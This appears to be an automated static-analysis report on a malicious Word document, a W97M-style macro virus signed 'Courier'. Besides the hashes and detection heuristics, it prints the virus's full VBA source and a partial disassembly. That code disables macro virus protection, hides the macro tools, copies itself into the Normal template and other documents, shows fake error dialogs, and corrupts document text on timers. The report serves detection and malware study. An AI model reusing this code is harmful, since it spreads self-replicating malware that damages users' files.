Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0978f94cf83e26ae…

MALICIOUS

Office (OLE)

50.5 KB Created: 2009-08-22 12:10:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7829ec1bf7755385502f4b8e27259082 SHA-1: 15c2f42e1fc530264dcd068e30910f3ef4925e0a SHA-256: 0978f94cf83e26ae91e7c0c86043e4b8b7a1974c48175aeb06d9095a71275013
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose functions, indicating a macro-based malware delivery. The ClamAV detections 'Doc.Trojan.VMPCK1-16' and 'Doc.Trojan.Ozwer-1' further confirm its malicious nature. The VBA script attempts to copy project items to the NormalTemplate and ActiveDocument, likely to establish persistence or facilitate payload execution.

Heuristics 6

  • ClamAV: Doc.Trojan.VMPCK1-16 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.VMPCK1-16
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 38944 bytes
SHA-256: 9b74ab98e240c7cad917ea4964871efede26925f4fc7a9f45f0f85bf743cd943
Detection
ClamAV: Doc.Trojan.Ozwer-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "courier"
Option Explicit
Public Sub AutoExec()
On Error Resume Next
   CommandBars("Visual Basic").Visible = False
   CommandBars("Control Toolbox").Visible = False
       With CommandBars("tools")
.Controls(12).Enabled = False 'macro
.Controls(13).Enabled = False 'modelos e suplemento....
.Controls(14).Enabled = False  'personalizar...
.Controls(15).Enabled = True  'opções...
End With
CommandBars("view").Controls(6).Enabled = False 'barras de ferramentas
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
End Sub
Sub AutoOpen()
On Error Resume Next
AutoExec
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone
    Options.VirusProtection = False
inf
timer
End Sub
Sub AutoClose()
c
End Sub
Sub inf()
On Error Resume Next
Options.SaveNormalPrompt = False
    If Nch = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="courier", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="cor", Object:=wdOrganizerObjectProjectItems
        Application.Caption = "° Microsoft Word"
    End If
    If Dch = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="courier", Object:=wdOrganizerObjectProjectItems
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="cor", Object:=wdOrganizerObjectProjectItems
    End If
End Sub
Function Nch()
Dim i As Integer
    For i = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(i).Name = "courier" Then Nch = True
    Next
End Function
Function Dch()
Dim j As Integer
    For j = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(j).Name = "courier" Then Dch = True
    Next
End Function
Public Sub c()
Options.SaveNormalPrompt = False
inf
End Sub
Sub FormatFont()
inf
Dialogs(wdDialogFormatFont).Show
End Sub
Sub FilePrint()
inf
Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileSaveas()
c
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FileSave()
c
ActiveDocument.Save
End Sub

Sub filenew()
Word.Documents.Add
inf
timer
End Sub
Sub EditCopy()
inf
Selection.Copy
End Sub
Sub editpaste()
inf

Selection.Paste
End Sub
Sub ToolsMacro()
On Error Resume Next
cor.Show
End Sub
Sub FileExit()
c
Application.Quit
MsgBox ("oK")
End Sub
Sub ViewVBCode()
On Error Resume Next
Dim letr As String
letr = CommandBars("tools").Controls(16).Caption
Select Case letr
Case "Opcio&nes..."
MsgBox "Error interno no Word Basic Err=1100e." + vbCr + "Impossível carregar bibliotecas dinámicas." + vbCr + vbCr + "Certifique-se que todos os arquivos estão" + vbCr + "em suas pastas." + vbCr + vbCr + "Se o problema persistir, consulte a guia" + vbCr + "do usuário.", vbCritical
Case "&Options..."
MsgBox "Word Basic internal error Err=1100e." + vbCr + "Unable to load module 1x6004." + vbCr + vbCr + "Check that all files are in their folders" + vbCr + "and that they are not damaged." + vbCr + vbCr + "If the problem persists, consult user´s guide.", vbCritical
End Select
End Sub
Sub ToolsOptions()
Dim Y As Byte
Randomize
Y = Int((7 * Rnd) + 1)
Select Case Y
    Case 1
        Dialogs(wdDialogToolsOptionsTabView).Show
    Case 2
        Dialogs(wdDialogToolsOptionsSpellingAndGrammar).Show
    Case 3
        Dialogs(wdDialogToolsOptionsTabPrint).Show
    Case 4
        Dialogs(wdDialogToolsOptionsTabEdit).Show
    Case 6
         Dialogs(wdDialogToolsOptionsTabTrackChanges).Show
    Case 5
         Dialogs(wdDialogToolsOptionsTabUserInfo).Show
    Case 7
         Dialogs(wdDialogToolsOptionsCompatibility).Show
    End Select
End Sub
Sub cor2()Rem Nem tudo é perfeito, se fosse voçê não me acharia Ass: Courier!!!!!
Dim indi, nu, nu2, limite, x As Integer
x = Int((4 * Rnd) + 1)
On Error GoTo bye
limite = ActiveDocument.Words.Count
If limite = (limite > 350 And limite < 400) Or (limite > 700 And limite < 750) Or (limite > 900 And limite < 950) Or (limite > 1000 And limite < 1050) Or (limite > 1150 And limite < 1200) Or (limite > 1300 And limite < 1350) Or (limite > 1500 And limite < 1600) And x = 3 Then
    Selection.HomeKey Unit:=wdStory
    For indi = 1 To limite
        Randomize
        nu2 = Int((5 * Rnd) + 2)
        nu = Int((4 * Rnd) + 1)
        indi = indi + nu2
            ActiveDocument.Words(indi).Select
        WordBasic.MoveText
            If nu = 1 Then
                        Selection.MoveRight Unit:=wdWord, Count:=nu2
            Else
                        Selection.MoveLeft Unit:=wdWord, Count:=nu2
            End If
        WordBasic.OK
Next indi
End If
timer
bye:
End Sub
Sub infect()
       With CommandBars("file")
.Controls(4).Enabled = False
.Controls(5).Enabled = False
.Controls(6).Enabled = False
End With
    Selection.MoveUp Unit:=wdLine, Count:=73
    Selection.Find.ClearFormatting
    Selection.Find.Replacement.ClearFormatting
    With Selection.Find
        .Text = "A"
        .Replacement.Text = "Courier"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = False
        .MatchCase = True
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute
    Selection.Find.Execute Replace:=wdReplaceAll
    With Selection.Find
        .Text = "0"
        .Replacement.Text = "10"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = False
        .MatchCase = True
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute
    Selection.Find.Execute Replace:=wdReplaceAll
    With Selection.Find
        .Text = "o"
        .Replacement.Text = "8"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = False
        .MatchCase = True
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute
    Selection.Find.Execute Replace:=wdReplaceAll
    With Selection.Find
        .Text = "e"
        .Replacement.Text = "d"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = False
        .MatchCase = True
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    With Selection.Find
        .Text = "b"
        .Replacement.Text = "c"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = False
        .MatchCase = True
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute Replace:=wdReplaceAll
    Selection.Find.Execute
    With Selection.Find
        .Text = "de"
        .Replacement.Text = "COURIER"
        .Forward = True
        .Wrap = wdFindContinue
        .Format = False
        .MatchCase = True
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute
    Selection.Find.Execute
End Sub
Sub timer()
Application.OnTime When:=Now + TimeValue("00:20:00"), Name:="cor2"
Application.OnTime When:=Now + TimeValue("00:35:35"), Name:="infect"
End Sub


Attribute VB_Name = "cor"
Attribute VB_Base = "0{83B48007-8F25-11DE-99CA-0040954508FF}{83B48001-8F25-11DE-99CA-0040954508FF}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False




































































































Option Explicit
Private Sub CommandButton1_Click()
Beep
Beep
End Sub
Private Sub CommandButton2_Click()
On Error Resume Next
cor.Hide
End Sub
Private Sub CommandButton3_Click()
Beep
Beep
End Sub
Private Sub CommandButton4_Click()
Beep
Beep
End Sub
Private Sub CommandButton5_Click()
Beep
Beep
End Sub
Private Sub CommandButton6_Click()
Beep
Beep
End Sub
Private Sub CommandButton7_Click()
Beep
Beep
End Sub
Private Sub userform_initialize()
On Error Resume Next
Dim user, docn, PyD, Pg, Cw, Dc, Mc, Pr, letr As String
letr = CommandBars("tools").Controls(16).Caption
Select Case letr
Case "Opcio&nes..."
        PyD = "Todos os Modelos e documentos ativos"
        Pg = "Normal.dot (plantilla global)"
        Cw = "Comandos do Word"
        Dc = " (documento)"
        Mc = "Macros criadas em "
        Pr = " por "
        CommandButton1.Caption = "Executar"
        CommandButton1.ControlTipText = "Executa uma macro selecionada (não há macros disponíveis)"
        CommandButton2.Caption = "Cancelar"
        CommandButton2.ControlTipText = "Cancelar seleção"
        CommandButton3.Caption = "Passo a passo"
        CommandButton3.ControlTipText = "Executa macro instrução por instrução"
        CommandButton4.Caption = "Modificar"
        CommandButton4.ControlTipText = "Modificar macro selecionada (não há macros disponíveis)"
        CommandButton5.Caption = "Criar"
        CommandButton5.ControlTipText = "Criar uma macro nova (não disponivel)"
        CommandButton7.Caption = "Excluir"
        CommandButton7.ControlTipText = "Excluir macro selecionada (não há macros disponíveis)"
        CommandButton6.Caption = "Organizador..."
        Label3.Caption = "Nome do macro:"
        Label1.Caption = "Macros em:"
        Label2.Caption = "Descrição:"
        
        
Case "&Options..."
        PyD = "All templates and active documents"
        Pg = "Normal.dot (global template)"
        Cw = "Word commands"
        Dc = " (document)"
        Mc = "Macros made on "
        Pr = " by "
        CommandButton1.Caption = "Run"
        CommandButton1.ControlTipText = "Run selected macro (no macros available)"
        CommandButton2.Caption = "Cancel"
        CommandButton2.ControlTipText = "Cancel selection"
        CommandButton3.Caption = "Step by step"
        CommandButton3.ControlTipText = "Run macro step by step"
        CommandButton4.Caption = "Modify"
        CommandButton4.ControlTipText = "Modify selected macro seleccionada (no macros available)"
        CommandButton5.Caption = "New"
        CommandButton5.ControlTipText = "Create a new macro (not available)"
        CommandButton7.Caption = "Delete"
        CommandButton7.ControlTipText = "Delete selected macro (no macro selected)"
        CommandButton6.Caption = "Organizer..."
        Label3.Caption = "Macro name:"
        Label1.Caption = "Macros in:"
        Label2.Caption = "Description:"
End Select
docn = ActiveDocument.Name
user = Application.UserName
ComboBox1.Text = PyD
ComboBox1.AddItem (PyD), 0
ComboBox1.AddItem (Pg), 1
ComboBox1.AddItem (Cw), 2
ComboBox1.AddItem (docn & Dc), 3
ComboBox1.AddItem (""), 4
ComboBox1.AddItem (""), 5
TextBox1.Text = Mc & Date & Pr & user

End Sub
Rem Courier é 10

' Processing file: /tmp/qstore_e4891qk8
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/courier - 12610 bytes
' Line #0:
' 	Option  (Explicit)
' Line #1:
' 	FuncDefn (Public Sub AutoExec())
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	LitVarSpecial (False)
' 	LitStr 0x000C "Visual Basic"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Visible 
' Line #4:
' 	LitVarSpecial (False)
' 	LitStr 0x000F "Control Toolbox"
' 	ArgsLd CommandBars 0x0001 
' 	MemSt Visible 
' Line #5:
' 	StartWithExpr 
' 	LitStr 0x0005 "tools"
' 	ArgsLd CommandBars 0x0001 
' 	With 
' Line #6:
' 	LitVarSpecial (False)
' 	LitDI2 0x000C 
' 	ArgsMemLdWith Controls 0x0001 
' 	MemSt Enabled 
' 	QuoteRem 0x001E 0x0005 "macro"
' Line #7:
' 	LitVarSpecial (False)
' 	LitDI2 0x000D 
' 	ArgsMemLdWith Controls 0x0001 
' 	MemSt Enabled 
' 	QuoteRem 0x001E 0x0018 "modelos e suplemento...."
' Line #8:
' 	LitVarSpecial (False)
' 	LitDI2 0x000E 
' 	ArgsMemLdWith Controls 0x0001 
' 	MemSt Enabled 
' 	QuoteRem 0x001F 0x000F "personalizar..."
' Line #9:
' 	LitVarSpecial (True)
' 	LitDI2 0x000F 
' 	ArgsMemLdWith Controls 0x0001 
' 	MemSt Enabled 
' 	QuoteRem 0x001E 0x0009 "opções..."
' Line #10:
' 	EndWith 
' Line #11:
' 	LitVarSpecial (False)
' 	LitDI2 0x0006 
' 	LitStr 0x0004 "view"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Enabled 
' 	QuoteRem 0x0030 0x0015 "barras de ferramentas"
' Line #12:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #13:
' 	Ld wdAlertsNone 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #14:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #15:
' 	EndSub 
' Line #16:
' 	FuncDefn (Sub AutoOpen())
' Line #17:
' 	OnError (Resume Next) 
' Line #18:
' 	ArgsCall AutoExec 0x0000 
' Line #19:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #20:
' 	Ld wdAlertsNone 
' 	Ld Application 
' 	MemSt DisplayAlerts 
' Line #21:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #22:
' 	ArgsCall inf 0x0000 
' Line #23:
' 	ArgsCall timer 0x0000 
' Line #24:
' 	EndSub 
' Line #25:
' 	FuncDefn (Sub AutoClose())
' Line #26:
' 	ArgsCall c 0x0000 
' Line #27:
' 	EndSub 
' Line #28:
' 	FuncDefn (Sub inf())
' Line #29:
' 	OnError (Resume Next) 
' Line #30:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #31:
' 	Ld Nch 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #32:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0007 "courier"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #33:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0003 "cor"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #34:
' 	LitStr 0x0010 "° Microsoft Word"
' 	Ld Application 
' 	MemSt Caption 
' Line #35:
' 	EndIfBlock 
' Line #36:
' 	Ld Dch 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #37:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0007 "courier"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #38:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x0003 "cor"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #39:
' 	EndIfBlock 
' Line #40:
' 	EndSub 
' Line #41:
' 	FuncDefn (Function Nch())
' Line #42:
' 	Dim 
' 	VarDefn i (As Integer)
' Line #43:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #44:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0007 "courier"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Nch 
' 	EndIf 
' Line #45:
' 	StartForVariable 
' 	Next 
' Line #46:
' 	EndFunc 
' Line #47:
' 	FuncDefn (Function Dch())
' Line #48:
' 	Dim 
' 	VarDefn j (As Integer)
' Line #49:
' 	StartForVariable 
' 	Ld j 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #50:
' 	Ld j 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0007 "courier"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St Dch 
' 	EndIf 
' Line #51:
' 	StartForVariable 
' 	Next 
' Line #52:
' 	EndFunc 
' Line #53:
' 	FuncDefn (Public Sub c())
' Line #54:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #55:
' 	ArgsCall inf 0x0000 
' Line #56:
' 	EndSub 
' Line #57:
' 	FuncDefn (Sub FormatFont())
' Line #58:
' 	ArgsCall inf 0x0000 
' Line #59:
' 	Ld wdDialogFormatFont 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #60:
' 	EndSub 
' Line #61:
' 	FuncDefn (Sub FilePrint())
' Line #62:
' 	ArgsCall inf 0x0000 
' Line #63:
' 	Ld wdDialogFilePrint 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #64:
' 	EndSub 
' Line #65:
' 	FuncDefn (Sub FileSaveas())
' Line #66:
' 	ArgsCall c 0x0000 
' Line #67:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #68:
' 	EndSub 
' Line #69:
' 	FuncDefn (Sub FileSave())
' Line #70:
' 	ArgsCall c 0x0000 
' Line #71:
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' Line #72:
' 	EndSub 
' Line #73:
' Line #74:
' 	FuncDefn (Sub filenew())
' Line #75:
' 	Ld Word 
' 	MemLd Documents 
' 	ArgsMemCall Add 0x0000 
' Line #76:
' 	ArgsCall inf 0x0000 
' Line #77:
' 	ArgsCall timer 0x0000 
' Line #78:
' 	EndSub 
' Line #79:
' 	FuncDefn (Sub EditCopy())
' Line #80:
' 	ArgsCall inf 0x0000 
' Line #81:
' 	Ld Selection 
' 	ArgsMemCall Copy 0x0000 
' Line #82:
' 	EndSub 
' Line #83:
' 	FuncDefn (Sub editpaste())
' Line #84:
' 	ArgsCall inf 0x0000 
' Line #85:
' Line #86:
' 	Ld Selection 
' 	ArgsMemCall Paste 0x0000 
' Line #87:
' 	EndSub 
' Line #88:
' 	FuncDefn (Sub ToolsMacro())
' Line #89:
' 	OnError (Resume Next) 
' Line #90:
' 	Ld cor 
' 	ArgsMemCall Show 0x0000 
' Line #91:
' 	EndSub 
' Line #92:
' 	FuncDefn (Sub FileExit())
' Line #93:
' 	ArgsCall c 0x0000 
' Line #94:
' 	Ld Application 
' 	ArgsMemCall Quit 0x0000 
' Line #95:
' 	LitStr 0x0002 "oK"
' 	Paren 
' 	ArgsCall MsgBox 0x0001 
' Line #96:
' 	EndSub 
' Line #97:
' 	FuncDefn (Sub ViewVBCode())
' Line #98:
' 	OnError (Resume Next) 
' Line #99:
' 	Dim 
' 	VarDefn letr (As String)
' Line #100:
' 	LitDI2 0x0010 
' 	LitStr 0x0005 "tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemLd Caption 
' 	St letr 
' Line #101:
' 	Ld letr 
' 	SelectCase 
' Line #102:
' 	LitStr 0x000C "Opcio&nes..."
' 	Case 
' 	CaseDone 
' Line #103:
' 	LitStr 0x0026 "Error interno no Word Basic Err=1100e."
' 	Ld vbCr 
' 	Add 
' 	LitStr 0x002A "Impossível carregar bibliotecas dinámicas."
' 	Add 
' 	Ld vbCr 
' 	Add 
' 	Ld vbCr 
' 	Add 
' 	LitStr 0x0029 "Certifique-se que todos os arquivos estão"
' 	Add 
' 	Ld vbCr 
' 	Add 
' 	LitStr 0x000F "em suas pastas."
' 	Add 
' 	Ld vbCr 
' 	Add 
' 	Ld vbCr 
' 	Add 
' 	LitStr 0x0028 "Se o problema persistir, consulte a guia"
' 	Add 
' 	Ld vbCr 
' 	Add 
' 	LitStr 0x000B "do usuário."
' 	Add 
' 	Ld vbCritical 
' 	ArgsCall MsgBox 0x0002 
' Line #104:
' 	LitStr 0x000B "&Options..."
' 	Case 
' 	CaseDone 
' Line #105:
' 	LitStr 0x0024 "Word Basic internal error Err=1100e."
' 	Ld vbCr 
' 	Add 
' 	LitStr 0x001D "Unable to load module 1x6004."
' 	Add 
' 	Ld vbCr 
' 	Add 
' 	Ld vbCr 
' 	Add 
' 	LitStr 0x0029 "Check that all files are in their folders"
' 	Add 
' 	Ld vbCr 
' 	Add 
' 	LitStr 0x001E "and that they are not damaged."
' 	Add 
' 	Ld vbCr 
' 	Add 
' 	Ld vbCr 
' 	Add 
' 	LitStr 0x002E "If the problem persists, consult user´s guide."
' 	Add 
' 	Ld vbCritical 
' 	ArgsCall MsgBox 0x0002 
' Line #106:
' 	EndSelect 
' Line #107:
' 	EndSub 
' Line #108:
' 	FuncDefn (Sub ToolsOptions())
' Line #109:
' 	Dim 
' 	VarDefn Y (As Byte)
' Line #110:
' 	ArgsCall Read 0x0000 
' Line #111:
' 	LitDI2 0x0007 
' 	Ld Rnd 
' 	Mul 
' 	Paren 
' 	LitDI2 0x0001 
' 	Add 
' 	FnInt 
' 	St Y 
' Line #112:
' 	Ld Y 
' 	SelectCase 
' Line #113:
' 	LitDI2 0x0001 
' 	Case 
' 	CaseDone 
' Line #114:
' 	Ld wdDialogToolsOptionsTabView 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #115:
' 	LitDI2 0x0002 
' 	Case 
' 	CaseDone 
' Line #116:
' 	Ld wdDialogToolsOptionsSpellingAndGrammar 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #117:
' 	LitDI2 0x0003 
' 	Case 
' 	CaseDone 
' Line #118:
' 	Ld wdDialogToolsOptionsTabPrint 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #119:
' 	LitDI2 0x0004 
' 	Case 
' 	CaseDone 
' Line #120:
' 	Ld wdDialogToolsOptionsTabEdit 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #121:
' 	LitDI2 0x0006 
' 	Case 
' 	CaseDone 
' Line #122:
' 	Ld wdDialogToolsOptionsTabTrackChanges 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #123:
' 	LitDI2 0x0005 
' 	Case 
' 	CaseDone 
' Line #124:
' 	Ld wdDialogToolsOptionsTabUserInfo 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #125:
' 	LitDI2 0x0007 
' 	Case 
' 	CaseDone 
' Line #126:
' 	Ld wdDialogToolsOptionsCompatibility 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #127:
' 	EndSelect 
' Line #128:
' 	EndSub 
' Line #129:
' 	FuncDefn (Sub cor2())
' 	Rem 0x0044 " Nem tudo é perfeito, se fosse voçê não me acharia Ass: Courier!!!!!"
' Line #130:
' 	Dim 
' 	VarDefn indi
' 	VarDefn nu
' 	VarDefn nu2
' 	VarDefn limite
' 	VarDefn x (As Integer)
' Line #131:
' 	LitDI2 0x0004 
' 	Ld Rnd 
' 	Mul 
' 	Paren 
' 	LitDI2 0x0001 
' 	Add 
' 	FnInt 
' 	St x 
' Line #132:
' 	OnError bye 
…

Open this report in the interactive analyzer, or submit your own file for analysis.